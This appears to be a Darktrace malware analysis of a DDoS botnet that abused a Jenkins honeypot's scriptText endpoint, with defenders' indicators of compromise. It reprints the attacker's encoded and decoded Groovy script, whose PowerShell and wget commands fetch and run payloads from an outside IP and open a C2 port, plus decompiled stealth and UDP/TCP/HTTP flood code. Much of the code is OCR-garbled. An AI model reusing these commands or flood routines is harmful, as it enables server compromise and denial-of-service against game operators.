Jenkins honeypot reveals botnet exploiting scriptText to launch DDoS
attacks on game servers
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Darktrace Malware Analysis: Jenkins Honeypot Reveals Emerging Botnet Targeting
Online Games

Darktrace analysts observed attackers exploiting a Jenkins honeypot to deploy a new DDoS botnet targeting video
game servers. Leveraging Jenkins scriptText abuse, the malware installs a multi-platform payload, evades
detection, and launches UDP, TCP, and application-layer attacks, highlighting ongoing risks from opportunistic
botnet activity across internet-facing environments.
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Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and
provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively
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in the field.
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DDoS Botnet discovery

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”,
designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These
honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet-facing
infrastructure.

How attackers used a Jenkins honeypot to deploy the botnet

One such software honeypotted by Darktrace is Jenkins, a Cl build system that allows developers to build code
and run tests automatically. The instance of Jenkins in Darktrace’s honeypot is intentionally configured with a weak
password, allowing attackers to obtain remote code execution on the service.

In one instance observed by Darktrace on March 18, 2026, a threat actor seemingly attempted to target
Darktrace’s Jenkins honeypot to deploy a distributed denial-of-service (DDoS) _botnet. Further analysis by
Darktrace’s Threat Research team revealed the botnet was intended to specifically target video game servers.

How the Jenkins scriptText endpoint was used for remote code execution

The Jenkins build system features an endpoint named scriptText, which enables users to programmatically send
new jobs, in the form of a Groovy script. Groovy is a programming language with similar syntax to Java and runs
using the Java Virtual Machine (JVM). An attacker can abuse the scriptText endpoint to run a malicious script,
achieving code execution on the victim host.
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POST /scriptText HTTF/1.1
Host:

Content-Length:
Authorization:
Content-Type: application/x-www=form-urlencoded
Cookie: JSESSIONID.eab6dbeaZ=node@livcbdhdf2nkdlhd7slrmBbBuad.noded
Jenkins-Crumb: 5ec@ce@5682783f8adeldllda%accceBbd7974f7a5fR73ddd4@4629a7ebbb242
Accept-Encoding: gzip

script=%8At ry+%7B%0A++++iT+%285ystem. getPropert ys28%270s . namek27%29. toLowerCase%28%29, containss28%2 Twind ows%2 TH29%29+%7
BaRA++++++++def+dUrL+%3D+%2 2 ht tph3A%s2FR2F103.177.118. 202%2 Fw, exe%2 2%8A++++++++de f+tPath+%3D+%2 2 CR3A%5 CR5CWindows 5 C%5CT
emp%5C%5Cupdate. dat%2 2%0A++++++++def+TPath+A3D+%22 CA3A%SCRE CWindows% S ChoCTempAiSC%ECwin_sys . exefs2 ZHBA ++++++++ DA+ 444444
%2 F%2F+5tep+1%3A+Down Load+as+a+data+blob%BA+++++++4%22powershe L L+=Command+&5BNet . ServicePointManage rdSD%3A%3ASecurityPr
otocol+3D+%5BNet. SecurityProtocolTypesSD%IA%IAT L5 12%3B+%28New-0bject+System. Net . WebClient%29. DownloadFiles28%27%24%7Bd
Url%70%2 7%2C+%275%24% 7Bt Path%s7D%2 7%29%2 2 . execute%28%29 . wa 1t Fo re2B%2 9%0 A++++++++%2 FR2F+5tep+2%3A+Rename+and+Unbloc k%R A +++
-+l 2powershe Ll+-Command+Move-Item+-Path+%24%78tPath%7D+-Destinat ion+%24%7BfPath%7D+-Force%3B+Unblock-File+-Path+%24
B7BTPath%TD%22. executen2B%20 . wa itFork2 BR20%QA+++ 444+ +%2FR2F+ 5 tep+ 343 A+0pen+C2+Port+and+Execute+in+Background%oA++++++4+4
f22powershell+—Command+New-NetFirewallRule+-DisplayName+%27A1low_C2%27+-Direct ion+Outbound+—RemotePort+5444+—ProtocoL+T
CP+—Action+Allow+—Profile+Any%22 . execute%s2 B%2 9%0A++++++++%22Cmd+%2Fc+start+%2Fb+%24%TBTPath%TD%22 . exXECUt %2 B%2 I%BA+++++
#++print In+%22WIN_DEPLOYED%2 2%@A++++%7D+else+%7B%0A+ +++++++%2 FR2F+Linux+fallback%sBA++++++++%225h+—Cc+%2 Twget+—q+ht tph3As
2F%2F103.177.110. 202%2Fbot_x64+—0+%2 Ftmp%2 Fbot+%26%26+chmod+%28x+%2Ftmp%2Fbot+%2 6%26+%2 Ftmp%2Fbot +%26%27%22 . executes28%
2P A+++++E+print In+%22LINUX_DEPLOYED%2 2%0A++++%70%0A%TD+catch+%28e%29+%TB+print Ln+%2 2ERROR%3IA+%22+%2B+e . mes sage+%7 D%

HTTR/1.1 288 0K
Server: Jetty(12.8.22)
Date: Wed, 18 Mar 2826 8@:18:57 GMT
Vary: Accept-Encoding
X-Content-Type-Options: mosniff
Content-Type: text/plain;charset=utf-
Content-Encoding: gzi
Transfer-Encoding:

LINUX_DEPLOYED

Figure 1: Request sent to the scriptText endpoint containing the malicious script.

The malicious script is sent using the form-data content type, which results in the contents of the script being URL
encoded. This encoding can be decoded to recover the original script, as shown in Figure 2, where Darktrace
Analysts decoded the script using CyberChef,

Recipe ~ Ol B8 Input + O w =

SErLPE=%BAL ry+%TB%BAH-+ 1T +%ZBSy S 1em. getP rope riy%2a8%2705 . nanes2 7520, tolawe rCases2 B%2

URTCacadn " 8., containss2a%a Twindows 2 TH20420 +5TBS DA ++4-+s ++dn gl FL+%3D+42 2Nt tpAaA2FA2F 103, 177,
11@. 202%2Fw. exe%22%0AsesdreerdefetPath+s304%2 204 3A%5CRE OWindows %S O L TempaS {45 Cupdat
Treat "+" as space € dati? F%@h++++++++de T+TPath+%304+% 2 2 0% 3RS Ch 3 CW A nd 0w s S CHICTempBa LR Cwin_5y5, exef? 2%
BAH+HHEHSRA R R ZF%IF 5 L epH1R3A+Down LoadHas+a+dat a+h LoD%RA-H+ -+ %2 2powe rshe L
La=
Command+%58het. ServicePointManagersbbeimmiitecurityProtoco L+30+a5ENet . SecurityProte
colTypehSDh3ARIAT 15 12%3E+% 2 HNew-
Object+Systen.Net. WebCLlient%29. DownloadFile%28%2 7245 70dU r L6704 27% 2 CH62 7% 245 TR EPa thy
FO%2 720522, executewd 8429, waitFors28%29%0A s s rsau 2 FR2 F4 S teps 2% 3A+Rename+and+ Unb Loc
A+ 4 ++24++%2 tpowershel L+-Command #Move-L tems-Path+4 248 TEL Patha T0+-
Destination+%2 4578 Path&TD+—ForcetiB+lUnnlock-File+—
Path+%24%TEIPathS7T%2 2 executed 2 B%29, wa L IFory 28% 2 9%DAH-+++H-+ 52 P52 F 45 ep+3%3 0+ 0pen+L
2+Port+and+Execute+rintBacky roundSA+r+++++4%2 2powe rshe L l+—Command Hiew
netFirewal1Rules-Disp layMane+%27A1 low C2%27+-Direction+0utbound+—Remtefort+54444-
FProtocolsTCP+—Act ion+AL lows—
Prafiletlmi?d mvernbofe? A% P0RAL 4+ b4 R rmd s T F et ba e bR PR P AR TRF Pa b b TNRT D s
me 1540 = 2 Tr Naw Bytas &= LF
Output [ ] r_|:| M o
seript=
try {
if [System.getProperty('cs.name').tolowerCasel].contains{ 'windows')) {
det dUrl = "hitp: /183,177,110, 202 /w, exa"
def tPath = SiWindowsh s\ Temp' \update. dat”
daf fPath = “Civ\Windowsy\Temphiwin_sys.exs"
£F Step 1: Download as a data blob
"powershell =Command [Met.ServicePointManager]::SecurityProtocol
[Met.SecurityProtocolType] 11 Tls12; (Mew—Object
System.Met.WebClient) . DownloadFilel '${durl}’, ‘&{tPath}")".execute().waltFor()
ff Step 2: Rename Bnd Unblock
"powershell —Conmand Move-Item —Path S{tPath} -Destination ${fPath} —Faorce;
Unblock-File -Path ${fPath}".executel).waitFor{}
p 5 ff Step 3: Dpen ©F Port and Execute in Background
STEP |~'J H BAKEI h "powershell =Command New-MetFirewallRule -DisplayNane "Allow_C2' -Direction
L =y T y Auto Bake Muthnund —AreatePact 5444 -Protoen] TEP &ctinn A11me —Profile &nu" evncotel )

Figure 2: The malicious script decoded using CyberChef.
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What happens after Jenkins is compromised

As Jenkins can be deployed on both Microsoft Windows and Linux systems, the script includes separate branches
to target each platform.

In the case of Windows, the script performs the following actions:

¢ Downloads a payload from 103[.]177.110.202/w.exe and saves it to C:\Windows\Temp\update.dat.

* Renames the “update.dat” file to “win_sys.exe” (within the same folder)

+ Runs the Unblock-File command is used to remove security restrictions typically applied to files downloaded
from the internet.

¢ Adds a firewall allow rule is added for TCP port 5444, which the payload uses for command-and-control (C2)
communications.

On Linux systems, the script will instead use a Bash one-liner to download the payload from
103[.]177.110.202/bot_x64.exe to /tmp/bot and execute it.

Why this botnet uses a single IP for delivery and command and control

The IP 103[.]177.110.202 belongs to Webico Company Limited, specifically its Tino brand, a Vietnamese company
that offers domain registrar services and server hosting. Geolocation data indicates that the IP is located in Ho Chi
Minh City. Open-source intelligence (OSINT) analysis revealed multiple malicious associations tied to the IP [1].

Darktrace’s analysis found that the IP 103[.]177.110.202 is used for multiple stages of an attack, including
spreading and initial access, delivering payloads, and C2 communication. This is an unusual combination, as many
malware families separate their spreading servers from their C2 infrastructure. Typically, malware distribution
activity results in a high volume of abuse complaints, which may result in server takedowns or service suspension
by internet providers. Separate C2 infrastructure ensures that existing infections remain controllable even if the
spreading server is disrupted.

How the malware evades detection and maintains persistence

Analysis of the Linux payload (bot _x64)

The sample begins by setting the environmental variables BUILD_ID and JENKINS_NODE_COOKIE to
“dontKillMe”. By default, Jenkins terminates long-running scripts after a defined timeout period; however, setting
these variables to “dontKillMe” bypasses this check, allowing the script to continue running uninterrupted.

The script then performs several stealth behaviors to evade detection. First, it deletes the original executable from
disk and then renames itself to resemble the legitimate kernel processes “ksoftirqd/0” or “kworker”, which are
found on Linux installations by default. It then uses a double fork to daemonize itself, enabling it to run in the
background, before redirecting standard input, standard output, and standard error to /dev/null, hiding any logging
from the malware. Finally, the script creates a signal handler for signals such as SIGTERM, causing them to be
ignored and making it harder to stop the process.
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setenv(
if ( argc > @ )
{
unlink(*argv);
vl3 = j_strlen_ifunc(xargv);
j_memset_ifunc(xargv, @, v13);
if ( vl3 <= 11 )
j_strncpy_ifunc(*argv,
else
strcpy((char *)*argv, "
prctl(15, "ks irqd/0", @, @, @);
if ( (int)fork(15, (__int64)"ks
exit(0);
setsid();
if ( (int)fork(15, (__int64)
exit(0);
v1i4 = openbd( ev/null", 2, (char)argv);
if ( vid '= -1 )
{
dup2(vl4, 0);
dup2(v14, 1);
dup2(v1i4, 2);
if ( (int)vld > 2 )
close(vl4);
+
ssignal(17, 1);
ssignal(13, 1);
ssignal(15, 1);
start_bot();

Figure 3: Stealth component of the main function

How the botnet communicates with command and control (C2)

The sample then connects to the C2 server and sends the detected architecture of the system on which the agent
was installed. The malware then enters a loop to handle incoming commands.

The sample features two types of commands, utility commands used to manage the malware, and commands to
trigger attacks. Three special commands are defined: “PING” (which replies with PONG as a keep-alive
mechanism), “Istop” which causes the malware to exit, and “lupdate”, which triggers the malware to download a
new version from the C2 server and restart itself.
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] = ntohs(5444);
inet_addr|
int)connect(s

(unsigned int) (unsigned int)arch,

j_memset_ifunc(
vll = recv(

_buf [j_strcspn_ifunc(recv_buf
recv_buf[a] )
( j_strstr{recv_buf,

if ( (unsigned int)j_stromp_ifunc() )

if ( !(unsigned int)fork
I

close( fd);
proc command | r
exit

_ system((_int64)
Figure 4: Initial connection to the C2 sever.

What DDoS attack techniques this botnet uses

The attack commands consist of the following:

Many of these commands invoke the same function despite appearing to be different attack techniques. For
example, specialized attacks such as Cloudflare bypass (cfbypass, uam) use the exact same function as a
standard HTTP attack. This may indicate the threat actor is attempting to make the botnet look like it has more
capabilities than it actually has, or it could suggest that these commands are placeholders for future attack
functionality that has yet to be implemented

All the commands take three arguments: IP, port to attack, and the duration of the attack.
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attack_udp and attack_udp_pps

Command

Attack function

Mode

udp

home

std

udpbypass

ovh

shield

attack_udp

game
vse
ntp
dns

reflective

attack_special

xmas
syn
tcp
ack

tcpbypass

handshake

attack_tcp_push

Pps

udppps

attack_udp_pps

http

https

get
uam

cfbypass

post

attack_http

dayz

nitrado

The attack_udp and attack_udp_pps functions both use a basic loop and sendto system call to send UDP
packets to the victim’s IP, either targeting a predetermined port or a random port. The attack_udp function sends
packets with 1,450 bytes of data, aimed at bandwidth saturation, while the attack_udp_pps function sends smaller
64-byte packets. In both cases, the data body of the packet consists of entirely random data.

attack_dayz
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addr_struct([e] = 2;
target_ip = inet_addr(arg_ip);
for ( 1 =0; i <= 1449; ++1i )
{
v3 = (int)rand() % 255;
send_buff[i] = v3;

}
start_time = time(0@);
while ( time(®) - start_time < duration )

{
if ( arg_port )
port = (unsigned __int16)arg_port;
else
port = (unsigned __int16)((int)rand() % 65530 + 1);
addr_struct([1] = ntohs(port);
sendto({udp_socket, send_buff, 1450, 64, addr_struct, 16);
}
close(udp_socket);

Figure 5: Code for the UDP attack method

attack_dayz

The attack_dayz function follows a similar structure to the attack_udp function; however, instead of sending
random data, it will instead send a TSource Engine Query. This command is specific to Valve Source Engine
servers and is designed to return a large volume of data about the targeted server. By repeatedly flooding this
request, an attacker can exhaust the resources of a server using a comparatively small amount of data.

The Valve Source Engine server, also called Source Engine Dedicated server, is a server developed by video
game company Valve that enables multiplayer gameplay for titles built using the Source game engine, which is
also developed by Valve. The Source engine is used in games such as Counterstrike and Team Fortress 2.
Curiously, the function attack_dayz, appears to be named after another popular online multiplayer game, DayZ,;
however, DayZ does not use the Valve Source Engine, making it unclear why this name was chosen.

udp_socket = socket(2, 2, 17);

addr_struct[@e] = 2;

addr_struct[1] = ntohs{port);

ip_also_part_of struct = inet_addr(target_ip)};
strcpy((char *)data_payload, "

end_time = time(®) + duration;
while ( end_time = time{@) )

sendto(udp_socket, data_payload, 25, 64, addr_struct, 16);
close({udp_socket);

Figure 6: The code for the “attack_dayz” attack function.

attack_tcp_push

The attack_tcp_push function establishes a TCP socket with the non-blocking flag set, allowing it to rapidly call

functions such as connect() and send() without waiting for their completion. For the duration of the attack, it enters

a while loop in which it repeatedly connects to the victim, sends 1,024 bytes of random data, and then closes the

connection. This process repeats until the attack duration ends. If the mode flag is set to 1, the function also
configures the socket with TCP no-delay enabled, allowing for packets to be sent immediately without buffering,
resulting in a higher packet rate and a more effective attack.
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start_time = time(0@);
rand_str(random_data_to_send, 1023);
while ( time(@®) - start_time < duration )
{

tcp_socket = socket(2, 1, 0);

if ( (tcp_socket & @0x80000008) == 0 )

fcnt164(tcp_socket, 4, 2048,
addr_struct[@e] = 2;
if ( arg_port )

port = (unsigned __intl6)arg_port;
else

port = (unsigned __int16)((int)rand() % 65538 + 1);
addr_struct[1l] = ntohs(port);
target_ip = inet_addr(arg_ip);
if ( mode )
i

opt_nodelay_enable = 41;

setsockopt(tcp_socket, &, 1, &opt_nodelay_enable, 4);
+
connect(tcp_socket, addr_struct, 16);
send(tcp_socket, random_data_to_send, 1024, 16448);
close(tcp_socket);

Figure 7: The code for the TCP attack function.
attack_http

Similar to attach_tcp_push, attack_http configures a socket with no-delay enabled and non-blocking set. After
establishing the connection, it sends 64 HTTP GET requests before closing the socket.

Figure 8: The code for the HTTP attack function.

attack_special

The attack_special function creates a UDP socket and sets the port and payload based on the value of the mode
flag:

¢ Mode 0: Port 53 (DNS), sending a 10-byte malformed data packet.
e Mode 1: Port 27015 (Valve Source Engine), sending the previously observed TSource Engine Query packet.
e Mode 2: Port 123 (NTP), sending the start of an NTP control request.

12/24



udp_socket = socket(2, 2, 17});
addr_struct = 2;

target_ip = inet_addr(arg_ip);
if ( mode == 1)

1

if ( arg_port )

portl = (unsigned _ intl6)arg_port;
else

portl = 27815;
parsed_part = ntohs(portl);
send_buff = &source_engine_query;
send_buff_size = 25;

else if ( mode == 2

if { arg_port )
port2 = (unsigned __ intl6)arg_port;
else
port2 = 123;
parsed_port = ntohs{port2);
= &nt

send_buff = &ntp_request;

send_buff_size = 8;

lse

if { arg_port )
port3 = (unsigned __intl6)arg_port;
else
port3 = 53;
parsed_port = ntohs(port3);
send_buff = Eennt_a_valid_pac ket;
send_buff_size = 1@;
}
start_time = time(@);
while ( time(@) - start_time < duration )
sendto{udp_socket, send_buff, send_buff_size, 64, &addr_struct, 16);
close(udp_socket);

Figure 9: The code for the attack_special function.

What this botnet reveals about opportunistic attacks on internet-facing systems

Jenkins is one of the less frequently exploited services honeypotted by Darktrace, with only a handful campaigns
observed. Nonetheless, the emergence of this new DDoS botnet demonstrates that attackers continue to
opportunistically exploit any internet-facing misconfiguration at scale to grow the botnet strength.

While the hosts most commonly affected by these opportunistic attacks are usually “lower-value” systems, this
distinction is largely irrelevant for botnets, where numbers alone are more important to overall effectiveness

The presence of game-specific DoS techniques further highlights that the gaming industry continues to be
extensively targeted by cyber attackers, with Cloudflare reporting it as the fourth most targeted industry [2]. This

botnet has likely already been used against game servers, serving as a reminder for server operators to ensure
appropriate mitigations are in place.

Edited by Ryan Traill (Content Manager)

Indicators of Compromise (loCs)

103[.]177.110.202 - Attacker and command-and-control IP

F79d05065a2ba7937b8781e69b5859d78d5f65f01fb291ae27d28277a5e37f9b — bot_x64
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